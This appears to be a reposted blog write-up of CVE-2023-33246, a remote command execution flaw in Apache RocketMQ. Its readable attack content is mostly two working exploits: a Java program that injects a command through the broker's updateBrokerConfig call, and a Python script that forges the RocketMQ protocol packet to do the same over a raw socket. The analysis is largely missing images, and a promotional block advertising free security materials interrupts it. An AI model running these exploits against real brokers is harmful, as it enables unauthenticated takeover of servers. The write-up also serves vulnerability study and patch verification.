Apache RocketMQ Remote Code Execution Vulnerability (CVE-2023-33246)

Vulnerability Profile

For RocketMQ 5.1.0 and below, under certain conditions, there is a risk of remote command execution. RocketMQ's NameServer, Broker, Controller and other components were leaked from the external network, and lacked permission verification. Attackers can use this vulnerability to use the update configuration function to execute commands as the system user running RocketMQ. In addition, attackers can achieve the same effect by forging the content of the RocketMQ protocol.

Affected version

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

security version

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

Vulnerability recurrence

Create a maven project locally and add dependencies

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

Write Exploit Code

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    
    
    public static void main(String[] args) throws Exception {
    
    
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

Vulnerability Analysis

image

image

image

image

We see that the really dangerous operation should be the operation of communicating with 10911, without authentication and encrypted transmission, and at the same time bringing in the parameters of command execution

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code represents calling different functions

imageorg/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

image​​org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

image​​org/apache/rocketmq/remoting/Configuration.java#update

image

If the attribute name is its built-in, update operation

‍Help cybersecurity study, get a full set of information S letter for free:
① Mind map of cybersecurity learning growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense combat techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

The latter part is clearer

org/apache/rocketmq/broker/BrokerStartup.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#startBasicService

image​​org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-AhERzAau-1690883548357)(https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308011624734 .png)] According to the data packets captured from Wireshark, we can also construct such a payload to trigger the vulnerability

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

Bug fixes

Modules for command execution removed​

image

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132047868